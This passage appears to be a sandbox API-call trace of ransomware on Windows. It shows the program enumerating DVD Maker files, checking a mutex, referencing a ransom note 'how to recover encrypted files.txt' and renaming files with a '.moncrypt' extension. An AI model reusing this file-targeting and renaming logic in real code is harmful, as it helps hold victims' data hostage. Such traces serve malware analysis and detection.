lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.067] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.068] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.068] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.068] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png", cchWideChar=78, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.pngt", lpUsedDefaultChar=0x0) returned 78 [0058.068] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.068] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Performance\\NextMenuButtonIcon.pngt", lpUsedDefaultChar=0x0) returned 4 [0058.068] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703015e6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x703015e6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1168, dwReserved0=0x0, dwReserved1=0x0, cFileName="NextMenuButtonIcon.png", cAlternateFileName="")) returned 0x54e280 [0058.068] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.068] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.068] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.068] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png", dwFileAttributes=0x20) returned 0 [0058.069] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.069] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttonicon.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttonicon.png.moncrypt")) returned 0 [0058.069] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70327743, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70327743, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dbda349, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc04, dwReserved0=0x0, dwReserved1=0x0, cFileName="NextMenuButtonIconSubpictur.png", cAlternateFileName="")) returned 1 [0058.069] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.069] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.069] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.069] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.069] GlobalUnlock (hMem=0x440004) returned 0 [0058.069] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.069] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.069] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.069] GlobalUnlock (hMem=0x440004) returned 0 [0058.069] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.069] GlobalUnlock (hMem=0x44000c) returned 0 [0058.069] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.070] CharLowerBuffW (in: lpsz="NextMenuButtonIconSubpictur.png", cchLength=0x1f | out: lpsz="nextmenubuttoniconsubpictur.png") returned 0x1f [0058.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.071] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.071] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.071] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.071] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png", cchWideChar=87, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png", lpUsedDefaultChar=0x0) returned 87 [0058.071] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.071] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Performance\\NextMenuButtonIconSubpictur.png", lpUsedDefaultChar=0x0) returned 4 [0058.071] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70327743, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70327743, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dbda349, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc04, dwReserved0=0x0, dwReserved1=0x0, cFileName="NextMenuButtonIconSubpictur.png", cAlternateFileName="")) returned 0x54e280 [0058.071] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.071] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.071] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.071] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png", dwFileAttributes=0x20) returned 0 [0058.072] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.072] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png.moncrypt")) returned 0 [0058.072] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70184844, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70184844, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dc26605, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa942c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_loop.wmv", cAlternateFileName="")) returned 1 [0058.072] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.072] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.072] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.072] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.072] GlobalUnlock (hMem=0x44000c) returned 0 [0058.072] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.072] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.072] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.072] GlobalUnlock (hMem=0x44000c) returned 0 [0058.072] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.072] GlobalUnlock (hMem=0x440004) returned 0 [0058.072] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.073] CharLowerBuffW (in: lpsz="Notes_loop.wmv", cchLength=0xe | out: lpsz="notes_loop.wmv") returned 0xe [0058.073] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.073] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.073] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.073] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.073] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.073] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.073] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.073] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.073] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.073] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.073] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.073] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.073] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.073] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.073] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.073] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv", cchWideChar=70, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmvc", lpUsedDefaultChar=0x0) returned 70 [0058.073] CharLowerBuffW (in: lpsz=".wmv", cchLength=0x4 | out: lpsz=".wmv") returned 0x4 [0058.073] 